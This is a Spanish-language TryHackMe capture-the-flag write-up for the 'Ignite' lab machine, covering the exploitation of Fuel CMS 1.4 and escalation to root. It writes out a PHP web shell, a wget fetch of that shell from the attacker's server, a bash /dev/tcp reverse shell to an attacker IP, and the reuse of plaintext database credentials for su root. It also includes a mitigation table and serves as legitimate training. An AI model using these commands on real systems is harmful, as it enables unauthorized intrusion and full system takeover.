Ignite - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
Ignite - TryHackMe Walkthrough
Bienvenido a mi writeup de Ignite de TryHackMe. Una máquina Linux de dificultad fácil que se centra en la explotación de una instancia mal configurada de Fuel CMS. Esta máquina demuestra cómo un CMS en fase de instalación con credenciales por defecto puede permitir acceso remoto y cómo las credenciales almacenadas sin encriptar en archivos de configuración comprometen toda la seguridad del sistema.
Room: Ignite
Dificultad: Easy
OS: Linux (Ubuntu)
Objetivo: Capturar las flags de usuario y root
🎯 Información del Objetivo
IP Target: 10.82.137.45
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Comienzo verificando que la máquina está activa:
ping -c1 10.82.137.45Obtengo respuesta correctamente, indicando que el host está disponible. El TTL observado (alrededor de 64) indica que posiblemente sea Linux.
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
Escaneo de Puertos
Realizo un escaneo SYN con detección de versiones para identificar los servicios abiertos:
nmap -sSV -T4 10.82.137.45-sS→ SYN scan (stealth)-sV→ Detección de versiones-T4→ Plantilla de tiempo agresiva

El escaneo revela que únicamente el puerto 80 está abierto, ofreciendo un servicio HTTP. Esto sugiere que nos enfrentamos a una aplicación web como vector de ataque principal.
📁 Fase 2: Enumeración
Exploración de la Página Web
Accedo a la dirección IP a través del navegador y observo una página de bienvenida:

La página indica que se trata de Fuel CMS versión 1.4 en fase de instalación. El título "Welcome to FUEL CMS" y el contenido de la página sugieren que la aplicación aún no ha sido completamente configurada.
Búsqueda Inicial de Directorios
Compruebo si existe el archivo robots.txt para identificar directorios restringidos:

El archivo robots.txt existe y contiene la línea Disallow: /fuel/, indicando que hay un panel administrativo en esa ruta. Accedo a http://10.82.137.45/fuel/ y encuentro una página de login del CMS.
Búsqueda de Vulnerabilidades Conocidas
Ejecuto searchsploit para identificar vulnerabilidades en Fuel CMS 1.4:
searchsploit Fuel CMS 1.4Encuentro varias vulnerabilidades RCE disponibles, incluyendo scripts en Python que permiten ejecutar comandos remotos. Presto especial atención a:
Fuel CMS 1.4.1 - Remote Code Execution (3) | php/webapps/50477.pyEnumeración con WhatWeb
Utilizo whatweb para obtener información adicional sobre los servicios web:
whatweb http://10.82.137.45http://10.82.137.45 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.82.137.45], JQuery[1.7.1], Script, Title[Welcome to FUEL CMS]
El servidor está ejecutando Apache 2.4.18 en Ubuntu. Corrobora que es una instalación Linux estándar.
Credenciales por Defecto
La página de instalación de Fuel CMS proporciona información valiosa: menciona que las credenciales por defecto del administrador son admin:admin. Pruebo estas credenciales en el panel de login /fuel/ y compruebo que son válidas.

Logro acceder al panel de administración, aunque no encuentro funcionalidades explotables desde la interfaz de usuario.
🚀 Fase 3: Explotación
Descarga del Exploit
Descargar el exploit encontrado en searchsploit:
searchsploit -m 50477El archivo 50477.py se descarga en mi equipo. Examino su contenido y veo que requiere únicamente la URL objetivo como parámetro.
Ejecución del Exploit RCE
Ejecuto el exploit con la IP objetivo:
python 50477.py -u http://10.82.137.45
¡El exploit funciona! Obtengo acceso remoto de código y puedo ejecutar comandos en la máquina objetivo.
🚩 Flag de Usuario
Ahora que tengo ejecución de comandos remota, busco la primera flag en el directorio del usuario:
cat /home/www-data/flag.txtLogro leer la flag de usuario desde esta ubicación.
⬆️ Fase 4: Escalada de Privilegios
Establecimiento de Web Shell
Para obtener un acceso más estable y funcional, creo una web shell PHP en mi máquina local:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>".shell_exec($_REQUEST['cmd'])."</pre>";
}
?>Lanzo un servidor HTTP local en mi máquina:
python3 -m http.server 1234 --bind 192.168.205.78Desde el RCE inicial, descargo la web shell en la raíz del servidor:
wget http://192.168.205.78:1234/webshell.php -O /var/www/html/webshell.phpAhora puedo acceder a http://10.82.137.45/webshell.php?cmd=id para ejecutar comandos de forma más interactiva.
NOTA DEL XHETIC FUTURO: Este paso es una tonteria porque paso de RCE a RCE. Lo lógico hubiera sido crear una revshell directamente.
Obtención de Reverse Shell
Para obtener una terminal completa, me pongo en escucha con netcat en mi máquina:
nc -nlvp 4444Desde la web shell, ejecuto una reverse shell en bash:
bash -c 'bash -i >& /dev/tcp/192.168.205.78/4444 0>&1'listening on [any] 4444 ... connect to [192.168.205.78] from (UNKNOWN) [10.82.137.45] 56789 bash-4.3$
Mejoro la terminal interactiva usando Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'Ahora tengo una sesión bash funcional desde la que puedo ejecutar comandos más complejos.
Búsqueda de Escalada
Intento los métodos estándar de escalada de privilegios. Primero, compruebo si el usuario actual puede ejecutar comandos sudo:
sudo -lNo hay ningún privilegio sudo útil disponible.
Busco archivos SUID que pudieran permitir escalada:
find / -perm -4000 2>/dev/nullLos resultados no muestran puntos de escalada obvios a través de SUID.
Compruebo también si hay trabajos cron activos:
crontab -lSin resultados relevantes.
Enumeración de Archivos de Configuración
Recordando que Fuel CMS está aún en instalación, examino los archivos de configuración del CMS. Navego a la carpeta de configuración:
cat /var/www/html/fuel/application/config/database.php$config = array(
'active' => 'default',
'default' => array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => 'mememe',
'database' => 'fuel',
'dbdriver' => 'mysqli',
),
);El archivo de configuración contiene las credenciales de la base de datos especificadas en texto plano:
- usuario:
root - contraseña:
mememe
Escalada a Root
Intento cambiar al usuario root re-usando estas credenciales:
su rootCuando me solicita la contraseña, ingreso mememe:
Password: mememeroot@ignite:/home/www-data#
¡Estoy dentro como root! Las credenciales de la base de datos coinciden con la contraseña de root del sistema, permitiendo la escalada completa.
Verificación de Acceso Root
Compruebo que tengo acceso completo al sistema:
whoamiroot
Ahora puedo acceder a cualquier archivo del sistema, incluyendo la flag de root.
🚩 Flag de Root
La flag de root se encuentra en el siguiente directorio:
/root/root.txt📊 Resumen
Cadena de Ataque
nmap → Identificación Fuel CMS 1.4 → Login admin (credenciales defecto) → RCE Exploit → Reverse Shell → Descubrimiento credenciales en configuración → Escalada a root
Herramientas Utilizadas
- nmap — Escaneo de puertos y detección de versiones
- searchsploit — Búsqueda de exploits conocidos
- whatweb — Enumeración de servicios web
- Python — Ejecución del exploit RCE
- netcat — Escucha de reverse shell
- bash — Ejecución de comandos reverse shell
- Acceso a archivos de configuración — Extracción de credenciales
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Descripción | Mitigación |
|---|---|---|
| Fuel CMS RCE | Exploit conocido en versión 1.4 permite ejecución remota de código | Actualizar a versión parcheada o aplicar filtros WAF |
| Credenciales por Defecto | Panel admin usa credenciales por defecto sin cambio requerido | Obligar cambio de credenciales en primer login |
| Credenciales en Texto Plano | Credenciales de base de datos almacenadas sin encriptación en archivos de configuración | Usar variables de entorno o gestores de secretos |
| Reutilización de Credenciales | Contraseña de BD idéntica a la de usuario root | Implementar políticas de contraseñas diferentes por servicio |
| Robot.txt Expuesto | El archivo robots.txt revela directorios administrativos | Aunque estándar, refuercer acceso al /fuel/ con autenticación |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.